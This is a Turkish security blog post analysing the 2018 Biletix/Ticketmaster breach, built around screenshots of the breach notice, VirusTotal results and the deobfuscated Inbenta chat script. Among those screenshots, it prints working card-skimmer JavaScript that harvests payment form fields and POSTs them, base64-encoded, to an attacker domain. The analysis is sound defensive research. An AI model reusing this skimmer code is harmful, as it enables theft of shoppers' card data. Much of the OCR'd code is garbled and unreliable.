

Biletix Vakası

written by Mert SARICA | 1 August 2018

27 Haziran 2018 tarihinde Biletix firması, sosyal medya hesapları ve web sitesi üzerinden bir güvenlik duyurusu yaptı. Bu duyuruda, 23 Haziran 2018 Cumartesi günü Ticketmaster İngiltere firmasına dış kaynaklı hizmet sunan Inbenta Technologies tarafından sağlanan ve müşteri destek hizmetleri için kullanılan ürün üzerinde kötü amaçlı bir yazılımı tespit edildiği yer alıyordu. Inbenta'nın bu ürününün tüm Ticketmaster International web sitelerinde (Türkiye de dahil) kullanılmış olması sebebiyle de bazı müşterilerinin kişisel verilerine ve ödeme bilgilerine, tanımlanamamış üçüncü kişiler tarafından izinsiz olarak erişilmiş olabileceği belirtilmiş ve ayrıca yaptıkları incelemelere göre, olaydan sadece bilet alma girişiminde bulunan veya bilet satın almış olan İngiltere tüketicilerinin bir kısmının etkilenmiş olabileceğini tespit ettikleri belirtilmişti. Son olarak da İngiltere'deki müşterilerinden Şubat 2018 ve 23 Haziran 2018 tarihleri arasında ve diğer uluslararası müşterilerinden Eylül 2017 ila 23 Haziran 2018 tarihleri arasında bilet almış veya almayı denemiş olanların bu durumdan etkilenmiş olabilecekleri söyleniyordu.



DIŞ KAYNAK SERVİS SAĞ... x

Secure | https://security.biletix.com

Hack 4 Career: Info | LinkedIn | Mert SARICA (mert... | Inbox - mertsarica@

SIKÇA SORULAN SORULAR

Şifremi yenilemek için ne yapmalıyım?
Hesabınıza tekrar giriş yapmak istediğinizde, her zamanki gibi giriş yap butonuna basın ve şifremini unuttum linkine tıklayın.

Hangi ülkeler etkilendi?
Yaptığımız incelemelere göre, olaydan sadece bilet alma girişiminde bulunan veya bilet satın almış olan İngiltere tüketicilerinin bir kısmının etkilendiği tespit ettik. Önlem olarak, ayrıca tüm Ticketmaster International müşterilerini uyararak, hesaplarına bir sonraki girişlerinde şifrelerini yenilemeleri gerektiği konusunda bilgilendiriyoruz. Kuzey Amerika'daki müşterilerimiz bu durumdan etkilanmemiştir.

Bu nasıl oldu?
23 Haziran 2018 Cumartesi günü Ticketmaster İngiltere, firmamıza dış kaynaklı hizmet sunan Inbenta Technologies tarafından sağlanan ve müşteri destek hizmetleri için kullanılan ürün üzerinde çalışan kötü amaçlı bir yazılımın. Birleşik Krallık'taki müşterilerinin verilerini bilinmeyen 3. kişilere aktardığını tespit etmiştir. Bilinmeyen kişilerce, kişisel verileri olası izinsiz erişim tespit edildiği anda Ticketmaster, bu hizmeti tüm ülkelerde devre dışı bırakmıştır.

Inbenta'nın bu ürününün tüm Ticketmaster International web sitelerinde kullanılmış olması sebebiyle, bazı müşterilerimizin kişisel verilerine ve ödeme bilgilerine, tanımlanmamış üçüncü kişiler tarafından izinsiz olarak erişilmiş olabilir. Adli ve güvenli uzmanı ekiplelerimiz bu olayın sebeplerini araştırmak üzere durmaksızın çalışmaya devam etmektedirler.

Hangi bilgilere erişilmiş olabilir?
İzinsiz erişilmiş veriler arasında isim, adres, e-posta adresi, telefon numarası, ödeme bilgileri ve Biletix hesap bilgileri olabilir.

Etkilenen ülkeler hangileridir?
Inbenta servisi Ticketmaster International, Ticketmaster İngiltere, GETMEIN! ve Ticketweb sitelerinde hizmet sağlamaktadır. Bu yüzden tüm olası etkilanmış müşterilerimize bilgi veriyoruz. Kuzey Amerika'daki müşterilerimiz etkilanmemiştir.

Bu durumda etkilanip etkilanmediğimi nasıl anlayacağım?
Hesap bilgilerinizi, herhangi bir sahtekarlık veya kimlik hırsızlığı şüphesine karşı takip etmenizi tavsiye ederiz. Endişe duymanız veya hesabınızda herhangi bir şüpheli hareket olması durumunda bankanız ile iletişime geçiniz.

Tedbir amaçlı olarak, tüm müşterilerimizin Biletix hesaplarına bir sonraki girişlerinde şifrelerini yenilemeleri gerekecektir.

Biletix Twitter'da "Yakın..." x

Secure | https://twitter.com/Biletix/status/1012053476405317632

Hack 4 Career: Info | LinkedIn | Mert SARICA (mert... | Inbox - mertsarica@

Anasayfa | Bildirimler | Mesajlar

Twitter'da Ara

Tweetle

Biletix @Biletix

Takip et

Yakın zamanda gerçekleşen veri güvenliği olayı hakkında konuya özel web sitesi hazırladık. Lütfen tıklayın -->

DIŞ KAYNAK SERVİS SAĞLAYICI SEBEBİYLE OLUŞAN VE...
Ticketmaster bu sayfayı, Inbenta'nın sebep olduğu olası kişisel veri sızıntısı sebebiyle mağduriyet yaşayabilecek müşterileri bilgilendirmek için hazırlamıştır. Ticketmaster için Müşterilerin K...
güvenlik.biletix.com

22:22 - 27 Haz 2018

30 Retweet 18 Beğeni

Yanıtını Tweetle

A.Ş. @Sengor77 - 28 Haz
@Biletix adlı kullanıcıya yanıt olarak
SMS göndermeniz gerekiyor uyelerinize acil. Bu tweet çok az retweet almış benim de tesadüfen haberim oldu. Geçmiş olsun.

moonface @dpmoonface - 27 Haz
@Biletix adlı kullanıcıya yanıt olarak
10 ay boyunca sızıntı olmuş ve siz farketmemişsiniz. inandırıcı gelmedi

Sevdar YILMAZ @sevdar_yilmaz - 7 Tem
@Biletix adlı kullanıcıya yanıt olarak

Kimi takip etmeli Yeni - Tümünu

Salon İKSV @saloniksv Takip et

Pozitif @pozitifimes Takip et

İKSV @iksv_istanbul Takip et

İlgini çekebilecek gündemler

#PurpleARMYDay 387 5 Tweet

#PayGigaElexBette

#BritishGP

Ebru Öskan 7368 Tweet

#ThaiCaveRescue 403 8 Tweet

#BazıKadınlarŞeytandır 15 6 8 Tweet

Formula 1

Aktif olarak bünyelerinde izleme ve müdahale yapan analistlerden oluşan bir Siber Güvenlik Merkezi'ne sahip olan kurumlar, Biletix'te doğru gitmeyen birşeyler olduğunu Nisan ayı gibi kullandıkları güvenlik teknolojilerinin ürettiği alarmları sayesinde öğrendiler. ;) Mayıs ayı itibariyle antivirüs yazılımlarına gelen güncelleme ile Biletix üzerinden bilet almaya çalışan son kullanıcılar ise web sitesine gömülü olan <http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js?1503669126> dosyası için zararlı yazılım uyarısı ile karşılaşmaya başladılar.

SHA256: eb49f05d0738b851ec25ede8592c021c3421588154c2e90af542f69ee3ed0530

Tespit edilme oranı 2 / 59

Analiz tarihi: 2018-06-21 10:20:15 UTC (2 hafta, 3 gün önce) [En sonucunu görüntüle](#)



Analizler.

Ek bilgi.

Yorumlar.

1

Oylar

Antivirus	Sonuç	Güncelle
Symantec	Infostealer	20180621
TrendMicro-HouseCall	Suspicious_GEN.F47V0516	20180621
Ad-Aware	✓	20180621
AegisLab	✓	20180621
AhnLab-V3	✓	20180621
Alibaba	👁	20180621
ALYac	✓	20180621
Antiy-AVL	✓	20180621
Arcabit	✓	20180621
Avast	✓	20180621
Avast-Mobile	✓	20180621
AVG	✓	20180621
Avira (no cloud)	✓	20180621
AVware	✓	20180621
Babable	✓	20180406
Baidu	✓	20180621

File information

Identification Content Analyses Submissions ITW Comments

MD5	3d154b03ccf7b836b67edab442a98cfc
SHA-1	a0445373490ad8b5260ca0cc7df4e709a9d732c7
SHA-256	eb49f05d0738b851ec25ede8592c021c3421588154c2e90af542f69ee3ed0530
ssdeep	6144:Z4qHnubYPzYVgxPYwS88ziyXClSdGG/RyJ1QA8rkTSXLU8tDZipdyPF04uciFz:pH1UgxQf88ziy7EX48b d64uciFz
Size	636.4 KB (651645 bytes)
Type	Text
Magic	ISO-8859 English text, with very long lines, with CRLF line terminators
TrID	Unknown!
Detection ratio	2 / 59
First submission	2018-04-25 12:18:08 UTC (2 ay önce)
Last submission	2018-05-28 15:05:45 UTC (1 ay önce)
Tags	text

Download file Re-scan file Close

File information

Identification Content Analyses Submissions ITW Comments

Propagation, dissemination and distribution strategies

This file has been spotted in-the-wild at certain URLs that are later detailed, it may be part of some drive-by download strategy or simply legitimately hosted goodwill.

Download URLs

This file has been spotted as the response content of the following URLs.

- <http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js?1503669126>
- <http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js>
- <http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js?1503669125>
- <http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js?1503669127>

In-the-wild file names

- inbenta.js
- inbenta.js.bin

Download file Re-scan file Close

Merak kediye öldürmeden olayın perde arkasını öğrenmek için zararlı kod içeren javascript dosyasına ulaşip analiz etmek için işe koyulmaya karar verdim. inbenta.js dosyasınının zararsız sürümünü <http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js> adresinden indirip, okunaklı (beautified) hale getirdikten sonra VirusTotal'dan

010 Editor - C:\Users\Mert\Desktop\inbenta\inbenta_orig.txt

File Edit Search View Format Scripts Templates Tools Window Help

Workspace

Open Files

- inbenta.js C:\Users...inbenta\
- inbenta_modified.txt C:\Users...inbenta\
- inbenta_orig.txt C:\Users...inbenta\

Favorite Files

- Recent Files
- Bookmarked Files

Inspector

Type	Value
Signed Byte	47
Unsigned Byte	47
Signed Short	12079
Unsigned Short	12079
Signed Int	539176751
Unsigned Int	539176751
Signed Int64	8247620832850030383
Unsigned Int64	8247620832850030383

Compare

C:\Users\Mert\Desktop\inbenta\inbenta_modified.txt vs. C:\Users\Mert\Desktop\inbenta\inbenta_orig.txt

Result	Address A	Size A	Address B	Size B
Match	0h	1067933	0h	104B9Dh
Match	104B9Dh	295	104B8Fh	127h
Match	104CC4h	264	104DABh	108h
Match	104DCCCh	152	104EC1h	98h
Match	104E64h	274	104F7Bh	112h
Match	104F76h	11904	105081h	2E80h
Match	107E51h	4765	107F31h	129Dh
Match	10AA30h	35	1091CEh	23h
Only in A	107DF6h	91		
Only in A	1090EEh	6466		
Only in B			104B9Dh	22h

Line 18928, Col 1 | Val: 47 2Fh 00101111b | Size: 1085937 | ANS(DOS) | Tab:4 | LTT | W | INS

illuminatels

Secure | https://illuminatels.com/#/

Hack 4 Career: Info | LinkedIn | Mert SARICA (mert) | Inbox - mert.sarica@illuminatels.com

ILLUMINATE.js [Home](#) [How it works](#) [Last update: 21.06.2017](#)

Format De-Obfuscate Deobfuscation will happen on the fly, as you paste/type

```

1 var _0xc1aec = ["\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x66\x6f\x74\x63\x65\x2e\x6d\x65\x2f\x66\x62\x66\x6f\x72\x6d\x2e\x6a\x73", "\x73\x65\x74\x69\x64\x64", "\x28\x3f\x3a\x5e\x7c\x3b\x20\x29", "\x5c\x24\x31", "\x72\x65\x70\x6c\x61\x63\x65", "\x3d\x28\x5b\x5e\x3b\x5d\x2a\x29", "\x6d\x61\x74\x63\x68",
2 var h080ff17d6676b09747fa7c90fd2d2db0 = {
3   snd: null,
4   1214a36488ae4c64a9300b9f2da97d046: _0xc1aec[0],
5   myid: function(_0xc61e2) {
6     var _0xc61e3 = document[_0xc1aec[7]][_0xc1aec[4]](new RegExp(_0xc1aec[2] + _0xc61e2[_0xc1aec[4]])(/((\w+)?(\w+)?\w+)?/));
7     return _0xc61e3 ? decodeURIComponent(_0xc61e3[1]) : undefined;
8   }(_0xc1aec[1]) || function() {
9     var _0xc61e4 = new Date();
10    var _0xc61e5 = _0xc61e4[_0xc1aec[8]]() + _0xc1aec[9] + Math[_0xc1aec[11]](Math[_0xc1aec[10]]() * (999999999 - 11111111 +
11    var _0xc61e6 = new Date(Date[_0xc1aec[8]]() + 60 * 60 * 24 * 1000));
12    document[_0xc1aec[7]] = _0xc1aec[13] + _0xc61e5 + _0xc1aec[14]();
13    return _0xc61e5;
14  }());
15  clik: function() {
16    h080ff17d6676b09747fa7c90fd2d2db0[_0xc1aec[15]] = null;
17    var _0xc61e7 = document[_0xc1aec[17]][_0xc1aec[16]];
18    for (var _0xc61e8 = 0; _0xc61e8 < _0xc61e7[_0xc1aec[18]]; _0xc61e8++) {
19      if (_0xc61e7[_0xc61e8][_0xc1aec[19]][_0xc1aec[18]] > 0) {
20        var _0xc61e9 = _0xc61e7[_0xc61e8][_0xc1aec[20]];
21        if (_0xc61e9 == _0xc1aec[21]) {
22          _0xc61e9 = _0xc61e8;
23        }
24        h080ff17d6676b09747fa7c90fd2d2db0[_0xc1aec[15]] += _0xc61e7[_0xc61e8][_0xc1aec[20]] + _0xc1aec[22] + _0xc61e7[_0xc61e8][_0xc1aec[23]];
25      }
26    }
27  },
28  send: function() {
29    try {
30      var _0xc61ea = document[_0xc1aec[17]][_0xc1aec[24]];
31      for (var _0xc61eb = 0; _0xc61eb < _0xc61ea[_0xc1aec[18]]; _0xc61eb++) {
32        var _0xc61ec = _0xc61ea[_0xc61eb];
33        if (_0xc61ec[_0xc1aec[25]] != _0xc1aec[26] && _0xc61eb[_0xc1aec[25]] != _0xc1aec[27] && _0xc61eb[_0xc1aec[25]] != _0xc1aec[28]) {
34          if (_0xc61eb[_0xc1aec[31]]) {
35            _0xc61eb[_0xc1aec[31]](_0xc1aec[32], h080ff17d6676b09747fa7c90fd2d2db0[_0xc1aec[33]], false);
36          } else {
37            _0xc61eb[_0xc1aec[31]](_0xc1aec[34], h080ff17d6676b09747fa7c90fd2d2db0[_0xc1aec[33]]);
38          }
39        }
40      };
41      var _0xc61ed = document[_0xc1aec[17]][_0xc1aec[30]];
42      for (var i = 0; _0xc61ed < _0xc61ed[_0xc1aec[18]]; _0xc61ed++) {
43        if (_0xc61ed[_0xc61e8][_0xc1aec[31]]) {
44          _0xc61ed[_0xc61e8][_0xc1aec[31]](_0xc1aec[37], h080ff17d6676b09747fa7c90fd2d2db0[_0xc1aec[33]], false);
45        } else {
46          _0xc61ed[_0xc61e8][_0xc1aec[31]](_0xc1aec[38], h080ff17d6676b09747fa7c90fd2d2db0[_0xc1aec[33]]);
47        }
48      };
49      if (h080ff17d6676b09747fa7c90fd2d2db0[_0xc1aec[15]] != null) {
50        var _0xc61ef = location[_0xc1aec[44]][_0xc1aec[42]][_0xc1aec[41]][_0xc1aec[40]][_0xc1aec[39]] || 0;
51        var _0xc61e0 = true(h080ff17d6676b09747fa7c90fd2d2db0[_0xc1aec[15]]);
52        var _0xc61ef = new XMLHttpRequest();
53        _0xc61ef[_0xc1aec[48]](_0xc1aec[46], h080ff17d6676b09747fa7c90fd2d2db0[_0xc1aec[47]], true);
54        _0xc61ef[_0xc1aec[51]](_0xc1aec[48], _0xc1aec[50]);
55      }
56    } catch (e) {}
57  }
58 }
59 const _0xc1aec = [
60   "https://webfotce.me/js/form.js",
61   "setid",
62   "({:})",
63   "\\s|",
64   "replace",
65   "({:})",
66   "match",
67   "cookie",
68   "getTime",
69   "-",
70   "random",
71   "floor",
72   "setid",
73   "%, path=/ expires=",
74   "toUTCString",
75   "snd",
76   "input, select, textarea, checkbox, button",
77   "querySelectorAll",
78   "length",
79   "value",
80   "name",
81   "",
82   "a",
83   "a",
84   "[href*=\"javascript:void(0)\",button,input,submit,.btn,.button",
85   "type",
86   "text",
87   "select",
88   "checkbox",
89   "password",
90   "radio",
91   "addEventListener",
92   "click",
93   "click",
94   "click",
95   "attachEvent",
96   "form",
97   "submit",
98   "onsubmit",
99   "join",
100  "slice",
101  "split",
102  "hostname",
103  "nodeName",
104  "nodeName",
105  "Content-type",
106  "application/x-www-form-urlencoded",
107  "application/x-www-form-urlencoded",
108  "form.js",
109  "form.js"
110 ]

```

Javascript kodunu okunaklı, anlaşılır hale getirdikten sonra 2. satırda yer alan `hxtps://webfotce.me/js/form.js` web adresi hemen dikkatimi çekti. Bu adresi Google arama motorunda arattığımda ise ilk olarak 19 Kasım 2017 tarihinde VirusTotal'a akismet.js adı altında yüklenip 16 antivirüs yazılımı

tarafından tespit edilen, okunaklı olmayan inbenta.js dosyasının okunaklı bir sürümü gibi görünüyordu.



SHA256:	feac12e049f548edfc504b4170719917b99eca585bd019fdd8b424c92cee8f16	
Dosya adı:	akismet.js	
Tespit edilme oranı	16 / 58	
Analiz tarihi:	2018-07-07 00:16:17 UTC (7 saat, 1 dakika önce)	

[Analizler.](#) [Ek bilgi.](#) [Yorumlar.](#) [Oylar](#)

File identification

MD5	b63188547f7504194e171a0438a44746
SHA1	3557cf200d80bd9f2bb2c7793add3e5e813ba939
SHA256	feac12e049f548edfc504b4170719917b99eca585bd019fdd8b424c92cee8f16
ssdeep	48:inSFGCpeJh/Wt69a8p7lyC5XjvwqsLzLJghV:iSFGCm/j9aHEsLzrK
Dosya boyutu	3.0 KB (3092 bytes)
Dosya türü	Text
Magic lafzı	ASCII text, with CRLF line terminators
TrID	Unknown!
Tags	text

VirusTotal metadata

First submission	2017-11-19 09:50:48 UTC (7 ay, 2 hafta önce)
Last submission	2018-05-15 00:03:58 UTC (1 ay, 3 hafta önce)
Dosya isimleri	VirusShare_b63188547f7504194e171a0438a44746 akismet.js



SHA256:	feac12e049f548edfc504b4170719917b99eca585bd019fdd8b424c92cee8f16	
Dosya adı:	akismet.js	
Tespit edilme oranı	16 / 56	
Analiz tarihi:	2018-06-30 00:03:20 UTC (1 gün, 15 saat önce)	

[Analizler.](#) [Ek bilgi.](#) [Yorumlar.](#) [Oylar](#)



submitname:"feac12e049f548edfc504b4170719917b99eca585bd019fdd8b424c92cee8f16.js.bin"
falcon-threatscore:82/100
memurl:"Pattern match: https://webfotce.me/js/form.js"
source:https://www.hybrid-analysis.com/sample/feac12e049f548edfc504b4170719917b99eca585bd019fdd8b424c92cee8f16?environmentId=100


```
C:\Users\Mert\Desktop\inbenta\inbenta_decoded_malicious_code.js - Notepad++
File Edit Search View Encoding Language Settings Macro Run Plugins Window ?
inbenta_decoded_malicious_code.js
156
157     }
158     if (h080ff17d6676b09747fa7c90fd2d2db0.snd != null) {
159         const _0xc61exd =
160             location.hostname.split(".").slice(0).join("_") || "nodomain";
161
162         var _0xc61exe = btoa(h080ff17d6676b09747fa7c90fd2d2db0.snd);
163
164         const _0xc61exf = new XMLHttpRequest();
165
166         _0xc61exf.open(
167             "POST",
168             h080ff17d6676b09747fa7c90fd2d2db0.i214a36488ae4c64a9300b9f2da97d046,
169             true
170         );
171         _0xc61exf.setRequestHeader(
172             "Content-type",
173             "application/x-www-form-urlencoded"
174         );
175         _0xc61exf.send(
176             "info=" +
177             _0xc61exe +
178             "&hostname=ticketmTR&key=" +
179             h080ff17d6676b09747fa7c90fd2d2db0.myid
180         );
181         h080ff17d6676b09747fa7c90fd2d2db0["snd"] = null;
182         _0xc61exe = null;
183         setTimeout(function() {
184             h080ff17d6676b09747fa7c90fd2d2db0.send();
185         }, 30);
186     } catch (e) {}
187 }
188
189
190 if (new RegExp("payment|checkout|onestep", "gi").test(window.location)) {
191     h080ff17d6676b09747fa7c90fd2d2db0.send();
192 }
```

JavaScript file length: 5.983 lines: 192 Ln: 192 Col: 2 Sel: 0 | 0 Windows (CR LF) UTF-8 10 Temmuz 2018 Salı

Biletix Ödeme x view-source:https://www... x

Secure https://www.biletix.com/sales/payment/btx?cns=V5AAA

biletix
ticketmaster Türkiye

Alışveriş Giriş Teslimat **Ödeme**

Shakira - Tribün ve Sahaiçi

11 Tem Çar Vodafone Park, 2018 21:00 İstanbul

Shakira "El Dorado Dünya Turnesi" kapsamında 11 Temmuz'da Vodafone Park'ta...

Dev bir prodüksiyon müteahhim bir sahne şövalye geliyor!!!
Daha fazla oku

ÖDEME SEÇENEKLERİ

KREDİ KARTI

HEDİYE KART VE KUPONLAR

Biletix Zubuzu

Hediye Kart Numarası CVV2 Kullan

YENİ KREDİ KARTI

BİLETLERİNİZ

Kalan Süreniz: 03:46

Shakira - Tribün ve Sahaiçi
11 Temmuz 2018 21:00

Tipi: TAM
Bilet Fiyatı: 750.00 TL X 1
Hizmet Bedeli: 30.00 TL X 1
ARA TOPLAM: 780.00 TL

Teslimat

Etkinlik Girişi veya Nöbetçi Perde Kende Satış Noktaları 6.00 TL
Vade Farkı 0.00 TL

Elements Console Sources Network

Uncaught TypeError: Cannot read property 'startswith' of undefined

at \$Mastercard (mastercard.js:158)
at HTMLDocument.<anonymous> (payment/btx?cns=V5AAA:1699)
at j (jQuery-2.1.1.min.js:12)
at Object.fireWith [as resolveWith] (jQuery-2.1.1.min.js:12)
at Function.ready (jQuery-2.1.1.min.js:12)
at HTMLDocument.i (jQuery-2.1.1.min.js:12)

(new RegExp("payment|checkout|onestep", "gi").test(window.location))
< true

Zararlı javascript kodunu peyderpey analiz ettikçe, zararlı kodun ödeme sayfasındaki forma girilen tüm kredi kartı bilgilerini, sayfada yer alan diğer bilgilerle birlikte Satın Al butonuna bastıktan sonra hxxps://webfotce.me/js/form.js adresine gönderecek şekilde tasarlandığını

gördüm. Bunun üzerine Fiddler aracını çalıştırıp, ödeme sayfasına geçersiz kart bilgilerimi girip Satın Al butonuna bastığımda, hxxps://webfotce.me/js/form.js adresine herhangi bir verinin gönderilmediğini farkettim! Bunun sebebini öğrenebilmek için Javascript kodunda yer alan try & catch kod bloğundaki catch kısmına, hata ayıklama amacıyla hatayı ekrana yazdıran ufak bir kod yazdığım, btoa() fonksiyonu kullanılarak Base64 kodlama şeması ile gizlenmeye çalışan çalıntı verideki Türkçe karakterlerin hataya yol açmasına ve hxxps://webfotce.me/js/form.js adresine gönderilememesine kısaca yüzlerce belki de binlerce Biletix Türkiye müşterisinin kredi kartı bilgilerinin duyuruda belirtilen süre boyunca çalınmamasına yol açan faydalı bir hata olduğunu öğrenmiş oldum. :)

The screenshot shows the Biletix payment page for a Shakira concert. The page is in Turkish and displays the event details: Shakira "El Dorado Dünya Turnesi" on 11 Temmuz 2018 at 21:00 at Vodafone Park in Istanbul. The payment method selected is "KREDİ KARTI". The credit card information is as follows:

- Kart Üzerindeki İsim: MERT
- Kredi Kartı No: 1234123412341234
- Taksit Seçenekleri: Tek Ödeme 786.00 TL
- Son Kullanma Tarihi: 01 / 2018
- CVV2: 123

The console log on the right shows the following Base64 encoded data:

```
paymentForm=paymentForm&
paymentTypeRadio=on&
paymentForm:paymentTypeText=Taksit-tek&
paymentForm:taksitID=0&
paymentForm:taksitBase=75600&
paymentForm:otherCosts=3800&
paymentForm:precalcedTotal=78600&
paymentForm:interest=0&
paymentForm:transCon=0&
paymentForm:masterPackUsed=true&
paymentForm:masterVoucherUsed=false&
paymentForm:subLVoucherUsed=false&
paymentForm:giftCardUsed=false&
paymentForm:iksvVoucherUsed=false&
paymentForm:ttprimeUsed=false&
paymentForm:ttselfUsed=false&
paymentForm:mcUsed=false&
paymentForm:mcDiscount=0&
+78600&
=false&
paymentForm:shoptype=ticket&
paymentForm:delType=SECURECOB&
paymentForm:giftCard1=0&
paymentForm:giftCard2=0&
paymentForm:ttprimeDiscountCharge=0&
=on&
listAccountName=on&
paymentForm:cardOwnerName:cardOwnerNameField=MERT&
paymentForm:creditCardNo:creditCardNoField=1234123412341234&
installments=0&
paymentForm:_j_id343:jokerVadaaCode=-1&
paymentForm:cardExpireDate:cardExpireDateFieldMonth=1&
paymentForm:cardExpireDate:cardExpireDateFieldYear=2018&
paymentForm:cvvArea:cvvField=123&
mc&
paymentForm:_j_id495:selectMob1=org.jboss.seam.ui.NoSelectionCon
verter.noSelectionValue&
token=FCAB719756A7950813071A5F196270529978986C887867A681594E631
F3362746103E36666E7E74774E991803026E189847F3830109178A30CE32D7F4666
9775F8AA67D5A8D926E4D14471D99E07746
```

11 Tem Çar Vodafone Park, İstanbul
2018 21:00
SHAKIRA
El Dorado World Tour

ÖDEME SEÇENEKLERİ

KREDİ KARTI

HEDİYE KART VE KUPONLAR

Biletix Zübizu

Hediye Kart Numarası CVV2 Kullun

YENİ KREDİ KARTI

Kart Üzerindeki İsim Mert

Kredi Kartı No 1234123412341234

Taksit Seçenekleri Tek Ödeme 780.00 TL

Son Kullanma Tarihi 01 2018

CVV2 123

BİLETLERİNİZ

Kalan Süreniz: 04:27

Shakira - Tribün ve Sahaiçi
11 Temmuz 2018 21:00

Tipi:	TAM
Bilet Fiyatı:	750.00 TL X 1
Hizmet Bedeli:	30.00 TL X 1
ARA TOPLAM:	780.00 TL
Teslimat	
Etkinlik Giyisi veya Perakende Satış Noktaları:	6.00 TL
Vade Farkı:	0.00 TL
TOPLAM TUTAR	786.00 TL

```
Elements Console Sources Network Performance Performance 14 hidden
```

```
top console.log('submit'); else { frm[1].attachEvent('onsubmit', 19eee47f3fd2e6876f2d11a64fa51157.cik); console.log('onsubmit'); } if (19eee47f3fd2e6876f2d11a64fa51157.snd != null) { var dom = location.hostname.split('.').slice(0, -1) || 'localhost'; console.log('domain: ' + dom); console.log('ip: ' + 19eee47f3fd2e6876f2d11a64fa51157.snd); alert(19eee47f3fd2e6876f2d11a64fa51157.snd); var key = btoa(19eee47f3fd2e6876f2d11a64fa51157.snd); console.log('key: ' + key); var http = new XMLHttpRequest(); http.open('POST', 19eee47f3fd2e6876f2d11a64fa51157.snd + '&key=' + key, true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.send('info=' + key + '&hostname=' + dom + '&key=' + 19eee47f3fd2e6876f2d11a64fa51157.myid); console.log('info=' + key + '&hostname=' + dom + '&key=' + 19eee47f3fd2e6876f2d11a64fa51157.myid); } 19eee47f3fd2e6876f2d11a64fa51157.snd = null; key = null; setTimeout(function() { 19eee47f3fd2e6876f2d11a64fa51157.send() }, 30); } catch (e) { alert('input is ' + e); } 19eee47f3fd2e6876f2d11a64fa51157.send(); //if ((new RegExp('onpage|checkbox|onstep', 'g')).test(window.location)) // 19eee47f3fd2e6876f2d11a64fa51157.send(); // } else { // console.log('regex failed!'); // 19eee47f3fd2e6876f2d11a64fa51157.send(); // } 377 click MV23571:38 378 click MV23571:38 379 click MV23571:38 380 click MV23571:38 381 click MV23571:38 382 click MV23571:38 383 click MV23571:38 384 click MV23571:38 385 click MV23571:38 386 click MV23571:38 387 click MV23571:38 388 click MV23571:38 389 click MV23571:38 390 click MV23571:38 391 click MV23571:38 392 click MV23571:38 393 click MV23571:38 394 click MV23571:38 395 click MV23571:38 396 click MV23571:38 397 click MV23571:38 398 click MV23571:38 399 click MV23571:38 400 click MV23571:38
```

Önemli Bilgilendirme: Kart bilgilerinizi Biletix'te hiçbir şekilde saklanmamaktadır. Kart bilgilerinizi MasterCard yapılandırıldığında saklamak ve bir sonraki alışverişinizde tekrar kullanılabilmek için Yaptı Kredi Mobilite giriş yaptığınız son Kartınızın menüsünde bulunan QR Kod ile Ödemeyi seçerek, açılan sayfada QR Kod'u okutabilirsiniz. Alışverişini tamamlandıktan sonra otomatik olarak Biletix'e yönlendirilecektir.

Ödemeye yapacağınız bir MasterCard çözümü olan MasterPass tarafından sağlanmaktadır. Kullanım koşulları için [tıklayınız](#).

YAPTI KREDİ PAY

Ödemeye yapacağınız Yaptı Kredi Bankası sayfasına yönlendirilecektir. Ödemeyi gerçekleştirilebilmek için Yaptı Kredi Mobilite giriş yaptığınız son Kartınızın menüsünde bulunan QR Kod ile Ödemeyi seçerek, açılan sayfada QR Kod'u okutabilirsiniz. Alışverişini tamamlandıktan sonra otomatik olarak Biletix'e yönlendirilecektir.

BKM EXPRESS

Ödemeye yapacağınız [www.bkmexpress.com.tr](#) sayfasına yönlendirilecektir. Henüz BKM Express üyesi değilseniz, kolayca üye olup alışverişini tamamlayabilirsiniz. Alışverişini tamamlandıktan sonra otomatik olarak Biletix'e yönlendirilecektir.

ÖN BİLGİLENDİRME VE SATIŞ SÖZLEŞMESİ

Biletinizi satın almadan önce, a) Biletix ile ilgili gerekli tüm bilgileri ve iletişim adreslerini b) satın aldığınız bilet ve hizmete ilişkin tüm içeriği, ayrıca tüm vergiler dahil toplam bilet/hizmet fiyat ve varsa tüm ek masraflarını c) Ödemeyi, teslimat, hıyay ilişkin bilgileri ve playbetix için sözleşmede düzenlenen çözüm yöntemlerini d) uygulamak konusunda bilgisayarınıza Tüketiciler Mahkemesine veya Tüketiciler Hakları Heyetine yönlendireceğinize dair sözleşmesel bilgileri e) Mesafeli Sözleşmeler Yönetmeliğinin 15. maddesine istinaden çayma haklarını bulunmadığını bildiğinizi f) "bilet satın alma siparişinizi onayladığınızı"

Ön bilgilendirmeyi ve Satış sözleşmesini okudum ve kabul ediyorum.

Satın Al

Bu oynadma bankanızın 3D güvenli sayfasına yönlendirecektir. İşlemlerinizden sorumlu değiliz.

Satış ve Politika

© 2017 Biletix Bilet Doğum Basım ve Tic. A.Ş. Tüm hakları saklıdır.

```
Elements Console Sources Network Performance Performance 14 hidden
```

```
top Input is invalid: CharacterError: Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range. 401 click MV23571:38 402 click MV23571:38 403 click MV23571:38 404 click MV23571:38 405 click MV23571:38 406 click MV23571:38 407 click MV23571:38 408 click MV23571:38 409 click MV23571:38 410 click MV23571:38 411 click MV23571:38 412 click MV23571:38 413 click MV23571:38 414 click MV23571:38 415 click MV23571:38 416 click MV23571:38 417 click MV23571:38 418 click MV23571:38 419 click MV23571:38 420 click MV23571:38 421 click MV23571:38 422 click MV23571:38 423 click MV23571:38 424 click MV23571:38 425 click MV23571:38 426 click MV23571:38 427 click MV23571:38 428 click MV23571:38 429 click MV23571:38 430 click MV23571:38 431 click MV23571:38 432 click MV23571:38 433 click MV23571:38 434 click MV23571:38 435 click MV23571:38 436 click MV23571:38 437 click MV23571:38 438 click MV23571:38 439 click MV23571:38 440 click MV23571:38 441 click MV23571:38 442 click MV23571:38 443 click MV23571:38 444 click MV23571:38 445 click MV23571:38 446 click MV23571:38 447 click MV23571:38 448 click MV23571:38 449 click MV23571:38 450 click MV23571:38 451 click MV23571:38 452 click MV23571:38 453 click MV23571:38 454 click MV23571:38 455 click MV23571:38 456 click MV23571:38 457 click MV23571:38 458 click MV23571:38 459 click MV23571:38 460 click MV23571:38 461 click MV23571:38 462 click MV23571:38 463 click MV23571:38 464 click MV23571:38 465 click MV23571:38 466 click MV23571:38 467 click MV23571:38 468 click MV23571:38 469 click MV23571:38 470 click MV23571:38 471 click 